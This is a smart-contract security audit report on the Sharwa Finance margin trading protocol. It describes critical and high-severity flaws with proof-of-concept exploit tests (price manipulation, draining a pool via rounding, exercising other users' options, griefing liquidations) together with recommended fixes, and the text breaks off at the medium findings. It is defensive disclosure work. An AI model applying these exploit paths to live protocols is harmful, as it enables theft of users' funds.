Sharwa Finance Security Review

Pashov Audit Group

Conducted by: 0xbepresent, Mario Poneder, sashik-eth, Shaka

June 17th 2024 - June 23rd 2024

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Introduction

A time-boxed security review of the **SharwaFinance/MarginTrading** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

4. About Sharwa

Sharwa is a margin trading protocol where users can trade on Uniswap v3 with up to 10x leverage, as well as use American-style options from Hegic as part of the collateral.

5. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

6. Security Assessment Summary

review commit hash - ec6beb584386f9d72f4a236e3df7cfae90678e41

fixes review commit hash - 74e84ef79dec39318a170221dcb7f91eaa804030

Scope

The following smart contracts were in scope of the audit:

- `MarginAccount`
- `MarginTrading`
- `LiquidityPool`
- `MarginAccountManager`
- `ModularSwapRouter`
- `HegicModule`
- `UniswapModule`

7. Executive Summary

Over the course of the security review, 0xbepresent, Mario Poneder, sashik-eth, Shaka engaged with Sharwa to review Sharwa. In this period of time a total of **34** issues were uncovered.

Protocol Summary

Protocol Name	Sharwa
Repository	https://github.com/SharwaFinance/MarginTrading
Date	June 17th 2024 - June 23rd 2024
Protocol Type	Margin Trading Protocol

Findings Count

Severity	**Amount**
Critical	4
High	5
Medium	16
Low	9
Total Findings	**34**

Summary of Findings

ID	Title	Severity	Status
[C-01]	Using Uniswap spot price is subject to manipulation	Critical	Resolved
[C-02]	Option NFTs can be exercised by any account	Critical	Resolved
[C-03]	Users can borrow tokens without generating debt shares	Critical	Resolved
[C-04]	Users could avoid liquidation by providing a large number of position NFTs	Critical	Resolved
[H-01]	Swaps are available for MarginAccounts undergoing liquidation	High	Resolved
[H-02]	Potential swap failure in UniswapModule	High	Resolved
[H-03]	Debt-free margin accounts can be liquidated	High	Resolved
[H-04]	Accrued interest is not accounted for when withdrawing	High	Resolved
[H-05]	Swap of option profit to base token is not handled correctly	High	Resolved
[M-01]	Risk of unaccounted asset removal	Medium	Acknowledged
[M-02]	Lack of incentives for Liquidation calls	Medium	Resolved
[M-03]	Potential avoidance of liquidation	Medium	Resolved
[M-04]	Liquidity pool interest accrual can be manipulated	Medium	Resolved

[M-05]	Borrowers can be left with debt shares after full repayment	Medium	Acknowledged
[M-06]	Borrowers can leave unpaid dust	Medium	Acknowledged
[M-07]	New liquidity providers are unfairly charged	Medium	Resolved
[M-08]	Option NFTs that go in the money after liquidation can be locked	Medium	Resolved
[M-09]	Positions with very low portfolio ratio cannot be liquidated	Medium	Resolved
[M-10]	User could potentially avoid liquidation	Medium	Resolved
[M-11]	Debt calculation should be rounded up during repayment	Medium	Acknowledged
[M-12]	Potential asset loss during liquidation	Medium	Resolved
[M-13]	Free flashloans due to the lack of fee or interest charges	Medium	Resolved
[M-14]	Uniswap V3 quoter contract should not be called on-chain	Medium	Acknowledged
[M-15]	Partial repayment is not possible in liquidation if no funds on the insurance pool	Medium	Acknowledged
[M-16]	Donations to LiquidityPool contract can manipulate share calculation	Medium	Acknowledged
[L-01]	Lack of safe transfer mechanism	Low	Resolved
[L-02]	Inconsistency in isAvailableErc20 checks	Low	Resolved
[L-03]	Centralization risk in Insurance Pool management	Low	Acknowledged
[L-04]	Missing slippage checks	Low	Resolved

[L-05]	Missing ERC721 existence check	Low	Resolved
[L-06]	Unfavorable placement of require check	Low	Resolved
[L-07]	Changing core coefficients during runtime	Low	Acknowledged
[L-08]	Option NFTs cannot be withdrawn	Low	Resolved
[L-09]	DoS due to check for ERC721 token ID associated with a margin account	Low	Resolved

8. Findings

8.1. Critical Findings

[C-01] Using Uniswap spot price is subject to manipulation

Severity

Impact: High

Likelihood: High

Description

The protocol uses the Uniswap V3 quoter contract to get the current value of the supported tokens in terms of the base token (USDC). The values returned by the quoter are the result of a simulated swap, given the current state of the pools. This means that these values can be easily manipulated, for example, by using a flash loan to add liquidity and remove it after interacting with the protocol.

The quote of tokens is used in the most critical parts of the protocol, such as withdrawal, borrowing, repayment, and liquidation. This means that an attacker could manipulate current the price of a token in their favor and cause losses to other users.

Additionally, in some transactions, there are multiple swaps involved. This means that the result of a swap can cause a change in the pool that will affect the next swap, and this is not taken into account in the quote process.

Proof of concept

```
function test_priceManipulation() public {
    provideInitialLiquidity();

    vm.startPrank(alice);
    // Provide 1 WETH = 4_000 USDC
    marginTrading.provideERC20(marginAccountID[alice], address(WETH), 1e18);

    // Simulate price manipulation (2x WETH price in USDC)
    quoter.setSwapPrice(address(WETH), address(USDC), 8_000e6);

    // Borrow 7_000 USDC
    marginTrading.borrow(marginAccountID[alice], address(USDC), 7_000e6);

    // Withdraw 7_000 USDC
    marginTrading.withdrawERC20(marginAccountID[alice], address(USDC), 7_000e6);
    vm.stopPrank();

    // Simulate price manipulation recovery
    quoter.setSwapPrice(address(WETH), address(USDC), 4_000e6);

    // Alice got 3_000 USDC profit and left her position with bad debt
    uint256 accountRatio = marginTrading.getMarginAccountRatio
      (marginAccountID[alice]);
    assert(accountRatio < 0.6e5);
}
```

Recommendations

Use Chainlink oracles to get the price of the assets.

[C-02] Option NFTs can be exercised by any account

Severity

Impact: High

Likelihood: High

Description

The `exercise` function flow does not check if the margin account owns the token to be exercised. This allows any account to exercise the options of another account and get its profit.

Proof of concept

```
function test_exerciseByNotOwner() public {
    uint256 aliceAccountValue = marginTrading.calculateMarginAccountValue
      (marginAccountID[alice]);
    uint256 bobAccountValue = marginTrading.calculateMarginAccountValue
      (marginAccountID[bob]);
    uint256 aliceOptionID = optionID[alice];

    vm.prank(alice);
    marginTrading.provideERC721(marginAccountID[alice], address
      (hegicPositionsManager), aliceOptionID);

    vm.prank(bob);
    marginTrading.exercise(marginAccountID[bob], address
      (hegicPositionsManager), aliceOptionID);

    uint256 aliceAccountIncrease = marginTrading.calculateMarginAccountValue
      (marginAccountID[alice]) - aliceAccountValue;
    uint256 bobAccountIncrease = marginTrading.calculateMarginAccountValue
      (marginAccountID[bob]) - bobAccountValue;
    assert(aliceAccountIncrease == 0);
    assert(bobAccountIncrease == 1_000e6);
}
```

Recommendations

```
function exercise(
      uintmarginAccountID,
      addresstoken,
      uintcollateralTokenID
    ) external nonReentrant onlyApprovedOrOwner(marginAccountID
+       require(marginAccount.checkERC721Value
+ (marginAccountID, token, value), "You are not allowed to execute this ERC721 token")
        marginAccount.exercise
          (marginAccountID, token, BASE_TOKEN, collateralTokenID, msg.sender);
```

[C-03] Users can borrow tokens without generating debt shares

Severity

Impact: Medium

Likelihood: High

Description

The `borrow` function of the `LiquidityPool` contract calculates the amount of debt shares to credit to the borrower by multiplying the new amount borrowed by the total debt shares and dividing by the total amount borrowed (including interest).

```
File: LiquidityPool.sol

142:          uint newDebtShare = borrows > 0
143:    @>        ? (debtSharesSum * amount) / borrows
144:              : (amount * 10 ** decimals()) / 10 ** poolToken.decimals();
```

In case the `debtShares * amount` is lower than `borrows`, the division will round down to 0 when `amount` is 1. This allows users to borrow tokens without generating debt shares.

A malicious user can borrow all the available tokens in the pool without generating any debt shares and withdraw them, draining the pool. Also, other borrowers in the pool will be credited with the debt of the attacker, so they can be liquidated and lose their collateral.

Proof of concept

```
function test_debtSharesRoundDown() public {
    uint256 bobInitialWethBalance = WETH.balanceOf(address(bob));

    // Setup
    provideInitialLiquidity();
    vm.startPrank(alice);
    marginTrading.provideERC20(marginAccountID[alice], address(USDC), 10_000e6);
    marginTrading.provideERC20(marginAccountID[alice], address(WETH), 1e18);
    vm.stopPrank();
    vm.startPrank(bob);
    marginTrading.provideERC20(marginAccountID[bob], address(USDC), 10_000e6);
    marginTrading.borrow(marginAccountID[bob], address(WBTC), 100);
    vm.stopPrank();

    // Alice borrows 1 WETH
    vm.prank(alice);
    marginTrading.borrow(marginAccountID[alice], address(WETH), 1e18);

    // Interest accrues over time
    skip(10);

    // Bob borrows 1 wei and is credited 0 debt shares
    vm.prank(bob);
    marginTrading.borrow(marginAccountID[bob], address(WETH), 1);

    // Alice repays debt and interest
    vm.prank(alice);
    marginTrading.repay(marginAccountID[alice], address(WETH), 2e18);

    // Bob borrows huge amount of WETH and is credited 0 debt shares
    for (uint i = 0; i < 20; i++) {
        for (uint j = 0; j < 10; j++) {
            vm.prank(bob);
            marginTrading.borrow(marginAccountID[bob], address(WETH), 10 **i);
        }
    }

    // Bob withdraws all WETH
    uint256 bobAvailableWeth = marginAccount.getErc20ByContract
      (marginAccountID[bob], address(WETH));
    vm.prank(bob);
    marginTrading.withdrawERC20(marginAccountID[bob], address
      (WETH), bobAvailableWeth);

    uint256 bobWethProfit = WETH.balanceOf(address
      (bob)) - bobInitialWethBalance;
    assert(bobWethProfit == bobAvailableWeth);
    assert(bobWethProfit > 100e18);
}
```

Recommendations

Round up the amount of debt shares to the nearest integer in the `borrow` function.

```
+import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

/**
 * @title LiquidityPool
 *
    @dev This contract manages a liquidity pool for ERC20 tokens, allowing users to pr
 *
    @notice Users can deposit tokens to earn interest and borrow against their deposit
 * @author 0nika0
 */
contract
   LiquidityPool is ERC20, ERC20Burnable, AccessControl, ILiquidityPool, ReentrancyGua
+   using Math for uint;
(...)
        uint newDebtShare = borrows > 0
-           ? (debtSharesSum * amount) / borrows
+           ? debtSharesSum.mulDiv(amount, borrows, Math.Rounding.Up)
            : (amount * 10 ** decimals()) / 10 ** poolToken.decimals();
```

[C-04] Users could avoid liquidation by providing a large number of position NFTs

Severity

Impact: High

Likelihood: High

Description

Users could provide an arbitrary number of position NFTs to their margin account using the `provideERC721` function, each new token would be pushed to an array associated with their margin account ID (line 178):

```
File: MarginAccount.sol
176:     function provideERC721(
  uintmarginAccountID,
  addresstxSender,
  addresstoken,
  uintcollateralTokenID,
  addressbaseToken
) external onlyRole(MARGIN_TRADING_ROLE
177:         require(
  isAvailableErc721[token],
  "Tokenyouareattemptingtodepositisnotavailablefordeposit"
);
178:         erc721ByContract[marginAccountID][token].push(collateralTokenID);
179:         IERC721(token).transferFrom(txSender, address
  (this), collateralTokenID);
180:         IERC721(token).approve(modularSwapRouter.getModuleAddress
  (token, baseToken), collateralTokenID);
181:     }
```

During liquidation array of the user's NFTs would be used in the router to execute liquidation on each NFT (line 131):

```
File: ModularSwapRouter.sol
110:     function liquidate(
  ERC20PositionInfo[]memoryerc20Params,
  ERC721PositionInfo[]memoryerc721Params
)
111:         external
112:         onlyRole(MARGIN_ACCOUNT_ROLE)
113:         returns(uint amountOut)
114:     {
115:         address marginTradingBaseToken = marginTrading.BASE_TOKEN();
116:         for (uint i; i < erc20Params.length; i++) {
117:
               address moduleAddress = tokenInToTokenOutToExchange[erc20Params[i].toke
118:             if (
119:                 erc20Params[i].tokenIn == marginTradingBaseToken &&
120:                 erc20Params[i].tokenOut == marginTradingBaseToken
121:             ) {
122:                 amountOut += erc20Params[i].value;
123:             } else if (moduleAddress != address(0)) {
124:                 amountOut += IPositionManagerERC20
  (moduleAddress).liquidate(erc20Params[i].value);
125:             }
126:         }
127:
128:         for (uint i; i < erc721Params.length; i++) {
129:
               address moduleAddress = tokenInToTokenOutToExchange[erc721Params[i].tok
130:             if (moduleAddress != address(0)) {
131:                 amountOut += IPositionManagerERC721
  (moduleAddress).liquidate(erc721Params[i].value, erc721Params[i].holder);
132:             }
133:         }
134:     }
```

This gives users a way to avoid liquidations by proving a large number of position NFTs that would cause an out-of-gas error each time when liquidation is called on their margin account.

Recommendations

Consider restricting max number of position NFTs per one margin account that would prevent out-of-gas during liquidation.

8.2. High Findings

[H-01] Swaps are available for `MarginAccounts` undergoing liquidation

Severity

Impact: Medium

Likelihood: High

Description

`MarginTrading.redCoeff` and `MarginTrading.yellowCoeff` are used to determine whether a `MarginAccount` is in a state of liquidation. If an account is under liquidation, operations such as `borrow` and `withdraw` are restricted to preserve the account's integrity for liquidation purposes. However, the current implementation allows for `swaps` to continue without checks for the account's liquidation status.

```
File: MarginTrading.sol
165:     function swap(
  uintmarginAccountID,
  addresstokenIn,
  addresstokenOut,
  uintamountIn,
  uintamountOutMinimum
) external nonReentrant onlyApprovedOrOwner(marginAccountID
166:         emit Swap(marginAccountID, swapID, tokenIn, tokenOut, amountIn);
167:
168:         marginAccount.swap
  (marginAccountID, swapID, tokenIn, tokenOut, amountIn, amountOutMinimum);
169:
170:         swapID++;
171:     }
```

A malicious user could execute swaps with higher risk by manually setting the `amountOutMinimum`, potentially leading to asset loss that would otherwise be available for liquidation. Additionally, in pools with limited liquidity, the user could manipulate the pool by setting `AmountOutMinimum=0` to execute swaps without receiving anything in return, thus potentially benefiting from slippage.

Recommendations

It is recommended to restrict the `swap` function only to `MarginAccounts` that are in a healthy state:

```
function swap(
      uintmarginAccountID,
      addresstokenIn,
      addresstokenOut,
      uintamountIn,
      uintamountOutMinimum
    ) external nonReentrant onlyApprovedOrOwner(marginAccountID
++      uint marginAccountValue = calculateMarginAccountValue(marginAccountID);
++      uint debtWithAccruedInterest = calculateDebtWithAccruedInterest
+ (marginAccountID);
++      uint marginAccountRatio = _calculatePortfolioRatio
+ (marginAccountValue, debtWithAccruedInterest);
++      require(marginAccountRatio >= yellowCoeff, "Cannot swap");
        emit Swap(marginAccountID, swapID, tokenIn, tokenOut, amountIn);

        marginAccount.swap(
          marginAccountID,
          swapID,
          tokenIn,
          tokenOut,
          amountIn,
          amountOutMinimum
        );

        swapID++;
    }
```

[H-02] Potential swap failure in `UniswapModule`

Severity

Impact: High

Likelihood: Medium

Description

During the liquidation process, all assets in a `MarginAccount` are converted to the `baseToken` (USDC), and debts in each `LiquidityPool` are cleared with the help of the `_clearDebtsWithPools` function in `MarginAccount`. If sufficient funds are available (`MarginAccount#L294-L296`), `modularSwapRouter.swapOutput` is used to convert USDC to the exact amount of `poolToken` needed to repay the liquidity pool:

```
File: MarginAccount.sol
217:     function liquidate(
  uintmarginAccountID,
  addressbaseToken,
  addressmarginAccountOwner
) external onlyRole(MARGIN_TRADING_ROLE
...
...
233:         uint amountOutInUSDC = modularSwapRouter.liquidate
  (erc20Params,erc721Params);
234:
235:         erc20ByContract[marginAccountID][baseToken] += amountOutInUSDC;
236:
237:         _clearDebtsWithPools(marginAccountID, baseToken);
238:     }
```

```
File: MarginAccount.sol
283:     function _clearDebtsWithPools
  (uint marginAccountID, address baseToken) private {
...
...
294:                 } else {
295:                     uint amountIn = modularSwapRouter.swapOutput
  (baseToken, availableTokenToLiquidityPool[i], poolDebt);
296:
                       erc20ByContract[marginAccountID][baseToken] -= amountIn;
297:                 }
298:                 ILiquidityPool(liquidityPoolAddress).repay
  (marginAccountID, poolDebt);
....
...
```

In `UniswapModule`, the `swapOutput` function prepares parameters for the swap and executes `swapRouter.exactOutput`. However, the parameter `amountInMaximum` is always set to zero. According to Uniswap's documentation, `amountInMaximum` should be the maximum amount of USDC that can be used to swap for the required asset. Since it's always zero, the swap will revert, failing to convert USDC into the needed `poolToken`:

```
File: UniswapModule.sol
106:     function swapOutput(uint amountOut) external onlyRole
  (MODULAR_SWAP_ROUTER_ROLE) returns(uint amountIn) {

108:
109:         amountIn = getOutputPositionValue(amountOut);
110:         IERC20(tokenInContract).transferFrom(marginAccount, address
  (this), amountIn);
111:
112:         swapRouter.exactOutput(params);
113:
114:         IERC20(tokenOutContract).transfer(marginAccount, amountOut);
115:     }
```

```
File: UniswapModule.sol
139:     function _preparationOutputParams(uint256 amount) private view returns
  (ISwapRouter.ExactOutputParams memory params) {
140:         params = ISwapRouter.ExactOutputParams({
141:             path: uniswapPath,
142:             recipient: address(this),
143:             deadline: block.timestamp,
144:             amountOut: amount,
145:             amountInMaximum: 0
146:         });
147:     }
```

This misconfiguration can cause the swap to fail, potentially leaving the system unable to clear debts during liquidations.

Recommendations

It is advisable to adjust the `amountInMaximum` in the `UniswapModule::swapOutput` function to reflect the actual maximum input expected for the swap. This adjustment ensures that the swap does not revert due to an insufficient input amount:

```
function swapOutput(uint amountOut) external onlyRole
      (MODULAR_SWAP_ROUTER_ROLE) returns(uint amountIn) {
        ISwapRouter.ExactOutputParams memory params = _preparationOutputParams
          (amountOut);

        amountIn = getOutputPositionValue(amountOut);
++      params.amountInMaximum = amountIn;
        IERC20(tokenInContract).transferFrom(marginAccount, address
          (this), amountIn);

        swapRouter.exactOutput(params);

        IERC20(tokenOutContract).transfer(marginAccount, amountOut);
    }
```

[H-03] Debt-free margin accounts can be liquidated

Severity

Impact: Medium

Likelihood: High

Description

The `liquidate` method of the `MarginTrading` contract allows anyone to liquidate an unhealthy account, i.e. when its margin ratio is below the `redCoeff` threshold. However, in the case of a debt-free account, e.g. new account and freshly funded, the margin ratio will be zero. Consequently, the `0 <= redCoeff` check will pass and an adversary can grief debt-free accounts by liquidating them.

During liquidation, all the margin account's assets, e.g. tokens and options, will be converted to the base token (usually `USDC`). Not only, this is unpleasant for the margin account's owner, but furthermore, there might be a detrimental economical impact to have those assets liquidated at an unfavorable time without notice.

```
function _calculatePortfolioRatio(
  uintmarginAccountValue,
  uintdebtWithAccruedInterest
) private pure returns (uint marginAccountRatio
    if (debtWithAccruedInterest == 0) {
        return 0;  // @audit ratio is 0 when debt-free
    }
    require(
      marginAccountValue*COEFFICIENT_DECUMALS>debtWithAccruedInterest,
      "MarginAccountvalueshouldbegreaterthandebtwithaccruedinterest"
    );

        marginAccountRatio = marginAccountValue*COEFFICIENT_DECUMALS/debtWithAccruedI
}

function getMarginAccountRatio(uint marginAccountID) public returns(uint) {
    uint marginAccountValue = calculateMarginAccountValue(marginAccountID);
    uint debtWithAccruedInterest = calculateDebtWithAccruedInterest
      (marginAccountID);
    return _calculatePortfolioRatio
    //(marginAccountValue, debtWithAccruedInterest);  // @audit ratio is 0 when debt-f
}

function liquidate(uint marginAccountID) external {
    require(getMarginAccountRatio
    //(marginAccountID) <= redCoeff, "Margin Account ratio is too high to execute liqu
    marginAccount.liquidate(
      marginAccountID,
      BASE_TOKEN,
      marginAccountManager.ownerOf
    )

    emit Liquidate(marginAccountID);
}
```

Proof of Concept

Please add the following test case to `margin_trading.spec.ts` in order to reproduce the above liquidation griefing attack.

```
it.only("liquidation griefing of debt-free account", async () => {
  await c.MarginAccountManager.connect(c.deployer).createMarginAccount()
  let WETHprovideAmount = parseUnits("1", await c.WETH.decimals())
  let USDCafterLiquidationAmount = parseUnits("4000", await c.USDC.decimals
  //())  // here: 1 ETH = 4000 USD

  // fund margin account with WETH
  await expect(
    c.MarginTrading.connect(c.deployer).provideERC20(0, await c.WETH.getAddress
      (), WETHprovideAmount)
  ).to.changeTokenBalances(
    c.WETH,
    [await c.signers[0].getAddress(), await c.MarginAccount.getAddress()],
    [-WETHprovideAmount, WETHprovideAmount]
  );
  // expect account to be funded with WETH
  expect(await c.MarginAccount.getErc20ByContract(0, await c.WETH.getAddress
    ())).to.be.eq(WETHprovideAmount);

  // griefer liquidates account
  await c.MarginTrading.connect(c.signers[9]).liquidate(0);

  // expect account to be liquidated to USDC
  expect(await c.MarginAccount.getErc20ByContract(0, await c.USDC.getAddress
    ())).to.be.eq(USDCafterLiquidationAmount);
});
```

Recommendations

It is recommended to add an additional check for the debt-free scenario to the `liquidate` method.

```
function liquidate(uint marginAccountID) external {
    uint ratio = getMarginAccountRatio(marginAccountID);
    require(ratio > 0, "Margin Account is debt-free");
    require(
      ratio<=redCoeff,
      "MarginAccountratioistoohightoexecuteliquidation"
    );
    marginAccount.liquidate(
      marginAccountID,
      BASE_TOKEN,
      marginAccountManager.ownerOf
    )

    emit Liquidate(marginAccountID);
}
```

[H-04] Accrued interest is not accounted for when withdrawing

Severity

Impact: Medium

Likelihood: High

Description

When a user provides liquidity to `LiquidityPool` the interests of the debt accrued by the borrowers are taken into account for the calculation of the user's share of the pool. However, when a user withdraws from the pool, the accrued interest is not accounted for.

```
File: LiquidityPool.sol

097:     function provide(uint amount) external nonReentrant {
098:  @>     uint totalLiquidity = getTotalLiquidity();
099:         require(
100:             totalLiquidity + amount <= maximumPoolCapacity,
101:             "Maximum liquidity has been achieved!"
102:         );
103:         poolToken.transferFrom(msg.sender, address(this), amount);
104:         uint shareChange = totalLiquidity > 0
105:             ? (depositShare * amount) / totalLiquidity
106:             : (amount * 10 ** decimals()) / 10 ** poolToken.decimals();
(...)
113:     function withdraw(uint amount) external nonReentrant {
114:  @>     uint totalLiquidity = poolToken.balanceOf(address(this)) + netDebt;
115:         require(totalLiquidity != 0, "Liquidity pool has no pool tokens");
116:         uint amountWithdraw = (amount * totalLiquidity) / depositShare;
```

Take the following example:

- There are 10 WETH deposited in the pool and 10 LP tokens minted
- Someone borrows 5 WETH and interest accrues over time, reaching another 5 WETH
- A user provides 15 WETH
- `totalLiquidity` is 5 WETH (contract balance) + 5 WETH (net debt) + 5 WETH (accrued interest) = 15 WETH
- The user receives `(depositShare * amount) / totalLiquidity` = 10 LP * 15 WETH / 15 WETH = 10 LP
- The user withdraws his 10 LP
- `totalLiquidity` is 20 WETH (contract balance) + 5 WETH (net debt) = 25 WETH
- The user receives `(amount * totalLiquidity) / depositShare` = 10 LP * 25 WETH / 20 LP = 12.5 WETH

Proof of concept

```
function test_missingAccruedInterestInWithdrawal() public {
    // Alice provides 1 WETH
    vm.prank(alice);
    liquidityPoolWETH.provide(1e18);

    // Bob borrows 0.8 WETH
    vm.startPrank(bob);
    marginTrading.provideERC20(marginAccountID[bob], address(USDC), 10_000e6);
    marginTrading.borrow(marginAccountID[bob], address(WETH), 0.8e18);
    vm.stopPrank();

    // Interest accrues over time
    skip(60 * 60 * 24 * 365);

    // Charlie provides 1 WETH
    vm.prank(charlie);
    liquidityPoolWETH.provide(1e18);
    uint256 charlieLpTokens = liquidityPoolWETH.balanceOf(address(charlie));

    // Charlie withdraws all from liquidity pool, receiving less WETH than his
    // original deposit
    uint256 charlieWETHBalance = WETH.balanceOf(address(charlie));
    vm.prank(charlie);
    liquidityPoolWETH.withdraw(charlieLpTokens);
    uint256 charlieWETHReceived = WETH.balanceOf(address
      (charlie)) - charlieWETHBalance;
    assert(charlieWETHReceived < 0.981e18);
}
```

Recommendations

```
function withdraw(uint amount) external nonReentrant {
-       uint totalLiquidity = poolToken.balanceOf(address(this)) + netDebt;
+       uint totalLiquidity = getTotalLiquidity();
        require(totalLiquidity != 0, "Liquidity pool has no pool tokens");
        uint amountWithdraw = (amount * totalLiquidity) / depositShare;
```

[H-05] Swap of option profit to base token is not handled correctly

Severity

Impact: High

Likelihood: Medium

Description

The `liquidate` function in `HegicModule.sol` exercises the options received as a parameter. For each option, in case of being in the money:

1. Calculates the profit by calling `getOptionValue` function. As we can see in the code snippet below, the profit is converted from USDCe to USDC.
2. Transfers the option from the margin account to the contract and exercises it, setting the margin account as the recipient of the profit.
3. Uses the `assetExchangerUSDCetoUSDC` contract to swap the profit from USDCe to USDC, passing `profit` as the input amount.

```
File: HegicModule.sol

45:     function liquidate(
  uint[]memoryvalue,
  addressholder
) external onlyRole(MODULAR_SWAP_ROUTER_ROLE
46:         for (uint i; i < value.length; i++) {
47:             if (getPayOffAmount(value[i]) > 0 && isOptionActive
  (value[i]) && getExpirationTime(value[i]) > block.timestamp) {
48:   @>            uint profit = getOptionValue(value[i]);
49:                 hegicPositionManager.transferFrom(marginAccount, address
  (this), value[i]);
50:                 operationalTreasury.payOff(value[i], marginAccount);
51:   @>            amountOut += assetExchangerUSDCetoUSDC.swapInput(profit, 0);
52:                 hegicPositionManager.transferFrom(address
  (this), holder, value[i]);
53:             }
54:         }
55:     }
(...)
76:     function getOptionValue(uint id) public returns (uint positionValue) {
77:         if (isOptionActive(id) && getExpirationTime(id) > block.timestamp) {
78:             uint profit = getPayOffAmount(id);
79:   @>        positionValue = assetExchangerUSDCetoUSDC.getInputPositionValue
  (profit);
80:         }
81:     }
```

The issue is that `profit` is priced in USDC, while the input amount should be in USDCe. This means that `assetExchangerUSDCetoUSDC.swapInput` is trying to pull `profit` USDCe from the margin account, but unless the price of USDCe is exactly 1, margin account will have received a different amount of USDCe.

Let's consider the following example:

- 1 USDCe = 1.001 USDC
- The option profit is 1,000 USDCe. That is the amount that the margin account will receive.
- `getOptionValue` converts the profit to USDC, which is 1,000 * 1.001 = 1,001 USDC.
- `swapInput` tries to pull 1,001 USDCe from the margin account, but it only has 1,000 USDCe.

The same issue is present in the `exercise` function, whose logic is similar to the `liquidate` function.

The outcome of this issue is that the liquidation and exercise functions will revert in case the price of USDCe is above 1 USDC and that the swap will be done for a lower amount than expected if the price of USDCe is below 1 USDC.

Proof of concept

```
function test_swapInputFailsInLiquidation() public {
    provideInitialLiquidity();
    quoter.setSwapPrice(address(USDCe), address(USDC), 1.001e6);

    vm.startPrank(alice);
    marginTrading.provideERC721(marginAccountID[alice], address
      (hegicPositionsManager), optionID[alice]);
    marginTrading.borrow(marginAccountID[alice], address(USDC), 900e6);
    marginTrading.withdrawERC20(marginAccountID[alice], address(USDC), 900e6);
    vm.stopPrank();
    hegicStrategy.setPayOffAmount(optionID[alice], 800e6);

    vm.expectRevert("ERC20: transfer amount exceeds balance");
    marginTrading.liquidate(marginAccountID[alice]);
}
```

Recommendations

```
function liquidate(uint[] memory value, address holder) external onlyRole
      (MODULAR_SWAP_ROUTER_ROLE) returns(uint amountOut) {
        for (uint i; i < value.length; i++) {
+            uint profit = getPayOffAmount(value[i]);
-            if (getPayOffAmount(value[i]) > 0 && isOptionActive
- (value[i]) && getExpirationTime(value[i]) > block.timestamp) {
+            if (profit > 0 && isOptionActive(value[i]) && getExpirationTime
+ (value[i]) > block.timestamp) {
-               uint profit = getOptionValue(value[i]);
                hegicPositionManager.transferFrom(marginAccount, address
                  (this), value[i]);
                operationalTreasury.payOff(value[i], marginAccount);
                amountOut += assetExchangerUSDCetoUSDC.swapInput(profit, 0);
                hegicPositionManager.transferFrom(address
                  (this), holder, value[i]);
            }
        }
    }

    function exercise(uint id) external onlyRole
      (MODULAR_SWAP_ROUTER_ROLE) returns(uint amountOut) {
        require(getPayOffAmount(id) > 0 && isOptionActive(
          getPayOffAmount
        ) > 0 && isOptionActive
          (id
-       uint profit = getOptionValue(id);
+       uint profit = getPayOffAmount(id);
        hegicPositionManager.transferFrom(marginAccount, address(this), id);
        operationalTreasury.payOff(id, marginAccount);
        amountOut = assetExchangerUSDCetoUSDC.swapInput(profit, 0);
        hegicPositionManager.transferFrom(address(this), marginAccount, id);
    }
```

8.3. Medium Findings

[M-01] Risk of unaccounted asset removal

Severity

Impact: High

Likelihood: Low

Description

The `MarginAccount.availableErc20` list is crucial for functions like `MarginAccount::preparationTokensParams`, which helps in valuing the account, and `MarginAccount::liquidate`. Removing a token from the `availableErc20` list can lead to users being liquidated using only the remaining active tokens to cover debts:

```
File: MarginAccount.sol
217:     function liquidate(
  uintmarginAccountID,
  addressbaseToken,
  addressmarginAccountOwner
) external onlyRole(MARGIN_TRADING_ROLE


220:
221:         for(uint i; i < availableErc20.length; i++) {
222:
               uint erc20Balance = erc20ByContract[marginAccountID][availableErc20[i]]
223:             erc20Params[i] = IModularSwapRouter.ERC20PositionInfo
  (availableErc20[i], baseToken, erc20Balance);
224:
               erc20ByContract[marginAccountID][availableErc20[i]] -= erc20Balance;
225:         }
226:
227:         for(uint i; i < availableErc721.length; i++) {
228:
               uint[] memory erc721TokensByContract = erc721ByContract[marginAccountID
229:             erc721Params[i] = IModularSwapRouter.ERC721PositionInfo
  (availableErc721[i], baseToken, marginAccountOwner, erc721TokensByContract);
230:             delete erc721ByContract[marginAccountID][availableErc721[i]];
231:         }
232:
233:         uint amountOutInUSDC = modularSwapRouter.liquidate
  (erc20Params,erc721Params);
234:
235:         erc20ByContract[marginAccountID][baseToken] += amountOutInUSDC;
236:
237:         _clearDebtsWithPools(marginAccountID, baseToken);
238:     }
```

When a token is deactivated and thus removed from `availableErc20`, it is not utilized in the debt settlement process during liquidation. This oversight leads to the `InsurancePool` potentially covering any shortfalls:

```
File: MarginAccount.sol
282:      */
283:     function _clearDebtsWithPools
  (uint marginAccountID, address baseToken) private {
...
293:                     IERC20(availableTokenToLiquidityPool[i]).transferFrom
  (insurancePool, address(this), poolDebt-amountOut);
...
301:     }
```

Recommendations

It is advisable to prevent the removal of tokens from the `MarginAccount.availableErc20` list within the `MarginAccount::setAvailableErc20` function. Ensuring that all tokens originally considered as assets remain accountable throughout the lifecycle of the account can prevent unexpected burdens on the Insurance Pool.

[M-02] Lack of incentives for Liquidation calls

Severity

Impact: High

Likelihood: Low

Description

The `liquidation` operates as follows:

